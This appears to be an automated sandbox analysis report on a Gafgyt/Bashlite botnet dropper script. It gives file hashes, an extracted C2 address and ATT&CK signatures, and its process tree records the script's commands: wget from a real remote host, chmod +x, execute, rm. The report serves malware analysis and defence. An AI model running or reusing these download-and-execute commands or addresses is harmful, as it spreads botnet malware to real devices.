Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 00:23

General

  • Target

    bins.sh

  • Size

    1KB

  • MD5

    ddd2066e9b68c51382870956a3c59979

  • SHA1

    ce1c982d1e45284c841358935022612c1708822c

  • SHA256

    0340ac49b3ffa9b62521f5d0ab751b8b1196e816d644317e7ae7a6166b08eb08

  • SHA512

    62c1588cc5a05de7b0b6c960ae65e6c9949e15ba7310344e90dc43cfd0fe2a277796bd167fc0eb8ddb0853c2ef556bb6bd648f672491249ccc26c85967e2182b

Malware Config

Extracted

Family

gafgyt

C2

162.0.214.70:1111

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1526
    • /usr/bin/wget
      wget http://165.154.224.116/jackmymips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:1527
    • /bin/chmod
      chmod +x jackmymips
      2⤵
      • File and Directory Permissions Modification
      PID:1532
    • /tmp/jackmymips
      ./jackmymips
      2⤵
      • System Network Configuration Discovery
      PID:1533
    • /bin/rm
      rm -rf jackmymips
      2⤵
      • System Network Configuration Discovery
      PID:1535
    • /usr/bin/wget
      wget http://165.154.224.116/jackmymipsel
      2⤵
      • System Network Configuration Discovery
      PID:1536

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • /tmp/jackmymips

    Filesize

    171KB

    MD5

    cfd64d9315ad7c51f839047d1664476c

    SHA1

    a164720ee885b14d9dbb1207fb45d0b0fdc2243f

    SHA256

    3190f29d355a28b7edee22e65f44bcfba988b9f54771ba34b2d13515164a927d

    SHA512

    992658bc1e29606cf5c7ceebe1ad6b6cd7e87050712a743330d4a1192d25658d185bc0a62983939c0e86ad1ca5600ad0e77a7051917936d5cff4188868fbf5e5